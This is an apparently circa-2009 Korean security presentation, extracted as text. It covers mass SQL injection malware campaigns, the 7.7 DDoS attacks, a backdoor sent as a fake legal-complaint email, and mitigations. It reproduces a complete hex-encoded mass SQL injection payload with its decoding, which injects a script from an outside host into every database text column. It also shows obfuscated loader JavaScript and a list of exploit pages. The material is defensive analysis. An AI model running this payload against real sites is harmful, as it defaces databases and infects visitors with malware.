Contents I. 최신보안사고사례 II. III. IV. 자동화된패키지공격유형 분산서비스거부공격 사회공학적기법과기술적공격유형 V. 대응방안 2
들어가기전 웹해킹? 웹서버에서실행중인어플리케이션의취약점을공격하는해킹의일종 WEB + HACKING = WEB HACKING - 80 포트, 443 포트, 8080 포트등웹서비스를지원하는포트를이용한공격 Operation System 과상관없이접근가능한웹어플리케이션의취약점을공격 권한획득에성공한취약점을통해서비스를변조하거나경유지로활용하여사내망으로침입하고, 사내정보시스템또는개인컴퓨터에대한공격시도가가능함. 서버정보유출 중요한시스템 (APP) Router Firewall Site 위 변조 DB 자료 INTERNET 허용되는서비스포트이용 내부망 내부정보유출 악의적인사용자 (Cracker) 개인정보 기밀내부자료 3
I. 최신보안사고사례 최근발생하는보안사고유형이점차 Application 에대한취약점을이용한악성코드유포지로 사용되는추세임 [ 자료 : 한국정보보호진흥원 ] 08/09 년발생한보안이슈 자동화된패키지공격증가 SQL 구문삽입을통한악성코드유포 맞춤형악성코드공격기법 다양한종류의악성코드은닉기법등장 서비스거부공격증가 7월 7일 DDoS 공격발생 국가주요기관, 포털, 은행등 DDoS 공격 악성코드를이용한 DDoS 공격 사회공학과기술적공격의융합 고소장을사칭한 e 메일을통한악성코드유포 취약홈페이지악성코드유포 이동식저장장치 (USB) 악성코드유포 4
II. 자동화된패키지공격유형 [ 배경 ] 08 년부터발생한 SQL 구문삽입공격의일종으로 DB( 개인정보 ) 획득목적이아닌악성코드유포를 위한공격으로다양한형태의공격기법을함께사용하여패키지형태로공격을시도함 5
II. 자동화된패키지공격유형 [ 흐름 ] 웹서버의 SQL 구문삽입취약점을이용하여악성코드를삽입하고삽입된악성코드는방문자에맞춤형 악성코드를통해공격을수행함 1 차공격도식도 (Mass SQL Injection) Mass SQL Injection 을통해서웹서버의 text 컬럼을일괄적으로 Update 하여악성코드유포스크립트실행 고객 A 고객 B 고객 C 공격자 2 차공격도식도 (Encoding Malware) 악성코드유포스크립트는또 iframe 태그를통해각사용자취약성에맞는 2 차악성파일다운로드시도 고객 A 고객 B 고객 C Weak Web Server (SQL Injection Vuln) iframe TAG (encoding malware) APP1 APP3 APP2 APP1 APP2 APP3 Contents Database T1 T1 악성코드 Type1 T2 T2 악성코드 Type2 Contents 1 Contents 2 Contents 3 Contents 4 Mass SQL Injection의경우한번의 SQL 구문실행으로사이트의모든컨텐츠내용이변조됨 HEX 인코딩을통해내용을은닉함 Script Encoding을통해악성코드를파급효과 분산서비스거부공격에이용주요특징은닉함 ( 차단 / 코드보호목적 ) T3 사이트의방문자중취약점을가진사용자무작위감염 해당업체브랜드이미지실추 T3 악성코드 Type3 BotNet 구성정보절취계정절취 6
II. 자동화된패키지공격유형 [ 분석 ] 1 단계 SQL 인젝션여부확인및공격, 2 단계, Mass SQL Injection 공격으로사이트변조, 3 단계은닉된 악성코드실행, 4 단계맞춤형악성코드실행, 5 단계 Bin 악성파일실행 HEX Encoding ;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C41524 5205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D20 7379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E7874797 0653D27752720616E6420622E78747970653D3335204F50454E205461626C655F437572736F72204645544348204E45585420465 24F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292 0424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E76 65727428766172636861722834303030292C5B272B40432B275D29292B27273C736372697074207372633D22687474703A2F2F7 777772E7873732E636F6D3A37302F7873737368656C6C2E617370223E3C2F7363726970743E272727294645544348204E4558542 046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F7 2204445414C4C4F43415445205461626C655F437572736F72 AS VARCHAR(4000));exec (@S); Decoding DECLARE @T varchar(255),@c varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and b.xtype=35 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+''<script src="http://www.xss.com:70/xssshell.asp"></script>''')fetch NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 7
II. 자동화된패키지공격유형 [ 분석 ] 1 단계 SQL 인젝션여부확인및공격, 2 단계, Mass SQL Injection 공격으로사이트변조, 3 단계은닉된 악성코드실행, 4 단계맞춤형악성코드실행, 5 단계 Bin 악성파일실행 Encoding <script type="text/javascript"> <!-- function NQ8t5x4Y2(Ks885htu8, mh5xqx781){var JwpJ42NTQ = arguments.callee;var IQWRFSkH6 = 4294967296;JwpJ42NTQ = JwpJ42NTQ.toString();JwpJ42NTQ = JwpJ42NTQ + location.href;var ghdj3i3lo = eval;var xkd6f35l0 = JwpJ42NTQ.replace(/\W/g, "");xkd6f35l0 = xkd6f35l0.touppercase();var O00LWJKGh = new Array;for(var FUcaS7xK1 = 0; FUcaS7xK1 < 256; FUcaS7xK1++) {O00LWJKGh[FUcaS7xK1] = 0;}var IXM1y17PX = 1;for(var FUcaS7xK1 = 128; FUcaS7xK1; FUcaS7xK1 >>= 1) {IXM1y17PX = IXM1y17PX >>> 1 ^ (IXM1y17PX & 1? 3988292384 : 0);for(var tuyqxhl8r = 0; tuyqxhl8r < 256; tuyqxhl8r += FUcaS7xK1 * 2) {var A86eeqSa5 = FUcaS7xK1 + tuyqxhl8r;o00lwjkgh[a86eeqsa5] = O00LWJKGh[tuYqxhl8r] ^ IXM1y17PX;if (O00LWJKGh[A86eeqSa5] < 0) {O00LWJKGh[A86eeqSa5] += IQWRFSkH6;}}}var OrQ576DM6 = IQWRFSkH6-1;for(var g1jl4vv6q = 0; g1jl4vv6q < xkd6f35l0.length; g1jl4vv6q++)... if (!document.nukqmqhx) { Decoding var VcY8NUji; var cv29ltny = navigator.appminorversion; var H_Q3_A8x = -1 var hopihxvx = "01";... 8
II. 자동화된패키지공격유형 [ 분석 ] 1 단계 SQL 인젝션여부확인및공격, 2 단계, Mass SQL Injection 공격으로사이트변조, 3 단계은닉된 악성코드실행, 4 단계맞춤형악성코드실행, 5 단계 Bin 악성파일실행 Lz.htm Ourgame GLWorld ActiveX control Bof 공격코드 Pps.htm PrinterSpooler 취약점이용 userinit.exe, 1.exe... 생성. Qvod.htm Qvod Web Player 취약점이용 Real.htm RealPlay Exploit XunLei.htm player.dll BoF 취약점이용한원격명령실행코드 ajax.htm MS06-014(Internet Explorer(MDAC) 원격코드실행취약점 ) Ms06014.htm MS06-014(Internet Explorer(MDAC) 원격코드실행취약점 ) Bfyy.htm Baofeng Storm MPS.StormPlayer.1 ActiveX control sparser.dll BoF 코드 Ms07004.htm MS07004(VMLRender 취약점을이용한원격쉘실행 ) 9
III. 분산서비스거부공격 [7.7 DDoS] [ 아시아경제 09 년 7 월 8 일자기사발췌 ] 10
III. 분산서비스거부공격 [7.7 DDoS] 1. 공격개요 - 09. 7. 7 18:00~19:00 시경 ~ 09. 7. 11 18:00 사실상종료 -공격유형 : HTTP Get Flooding [CC(Control Cache) Attack] 이대부분이나 UDP Flooding 및 ICMP, Ping Flooding -명령제어(C&C) 서버없이 timer 에의한공격실행 2. 공격시나리오 공격자 ( 해커 ) 공격 Setting Mail 서버 배포서버 (86 개 ) Spam relay ( 악성코드은닉 ) URL 접속 Flash.gif Download Msiexec?.exe Download Timer Setting 일부악성코드하드디스크파괴 좀비 PC Timer Setting DDoS 공격수행 - 국가주요기관 - 포털 3. 공격유형 악성코드숙주사이트 (5개) ( 독일, 오스트리아, 미국, 그루지아, 한국 ) 특정 URL LIST 공격 Process Timer Setting 에의한공격 - 은행 공격자는사전에 Spam-mail 및악성코드를이용하여악성코드를좀비 PC에감염시킴 악성코드내 Timer Setting 되어있어공격수행및하드디스크파괴명령을수행함 C&C( 명령제어 ) 서버를이용하는기존의 DDoS 공격과는다른악성코드내에공격 URL이이미 Setting 되어공격수행 1차, 2차, 3차변종공격으로인해예측이어려우며대응의까다로움으로인해장애 Time 장시간 11
III. 분산서비스거부공격유형 [DDoS-NetBot] 악성코드감염으로인해좀비화된 PC 를제어하고 DDoS 공격에동원해서피해자 PC 가공격자의 일환이되어간단하면서다양한형태로 DDoS 공격을수행함 Port Open 공격실행 12
IV. 사회공학적기법과기술적공격유형 [ 배경 ] 악성코드유포를위해사회공학적기법과기술적인기법이함께사용된유형으로한글로작성된 이메일을통해고소장접수와같은내용을통해실행을유도함 13
IV. 사회공학적기법과기술적공격유형 [ 배경 ] 최근 Adobe 사고소장접수에대한안내문 이라는전자메일을통해전염된악성코드의분석결과를 통해악성코드전염과서비스거부공격이일어나는것을확인함 e 메일 악성코드 분석 nbjs.dll 생성 BITS 초기화 서비스키등록 서비스자동시작설정 분산서비스거부공격 BITS Service 등록 svchost.exe thread Injection beep.sys darkshell.sys 고소장접수결과보고.exe TCP SynFlooding attack SSDT Hooking Chk beep.sys 생성 Driver 등록 DarkShell 생성 Driver Load SSDT Chk nbjs.dll 파일삭제 Back Door 기능 고소장접수결과보고.exe 삭제 tkfl.xxxx.org/images/boar d/main_03.jpg File Download 기능 File 실행기능 분석과정 분석을위한실행압축해제 2 중패킹구조 & 수동 IAT 복구 Anti-REC 기법제거 외형분석 (embed string, Import Table) API 함수를통한기능분석 ASCII 문자열을통한명령및기능분석 정밀분석 (ollydbg, IDA) Debugger 를이용한함수분석 sub_401b50 : beep.sys 생성및실행 sub_4010c0 : BITS 서비스설정초기화 sub_4011a0 : nbjs.dll 을 BITS 서비스키등록 sub_401000 : BITS 서비스자동시작설정 sub_401400 : 고소장처리결과보고.exe 삭제 증상분석 ( SysAnalzer) Debugger 를통해분석한기능과증상의일치여부확인 DDoS 공격여부확인 BackDoor 실행확인 14
IV. 사회공학적기법과기술적공격유형 [ 배경 ] 악성코드에감염된 PC 의메신저계정정보를절취한후해당메신저계정을이용하여지인들에게금품 요구하는사건이발생함 15
IV. 사회공학적기법과기술적공격유형 [ 배경 ] 사용자들을속이는행위를통해가짜동영상코덱설치유도페이지나악성코드에감염된듯한 페이지를보여주고허위로치료후결제유도 16
IV. 블랙마켓형성과현금흐름 17
V. 대응방안 최근보안이슈사항으로나타난 Mass SQL Injection, XSS, 악성코드에대한대응방안을아래와같이 설정함 항목 대응방안 Mass SQL Injection 단기대책 : 웹어플리케이션의입력값검증모듈강화 / Prepare Statement 방식코딩구현 중기대책 : 개발어플리케이션에대한보안검증프로세스적용 장기대책 : 개발표준프레임워크개발을통한보안성강화 CSRF/XSS을이용한악성코드유포 단기대책 : 웹어플리케이션의입력값검증모듈강화 / Script 및 TAG 삽입제한 중기대책 : 개발어플리케이션에대한보안검증프로세스적용 장기대책 : 개발표준프레임워크개발을통한보안성강화 악성코드유포 벤더대책 : SQL Injection / XSS 와같은취약점사전제거 PMS 시스템을통한임직원개인 PC 관리무상백신및무상개인용방화벽활용주기적인보안교육진행 사용자대책 : 최신패치유지 / 개인용방화벽, 백신사용보안의식강화 18
감사합니다 19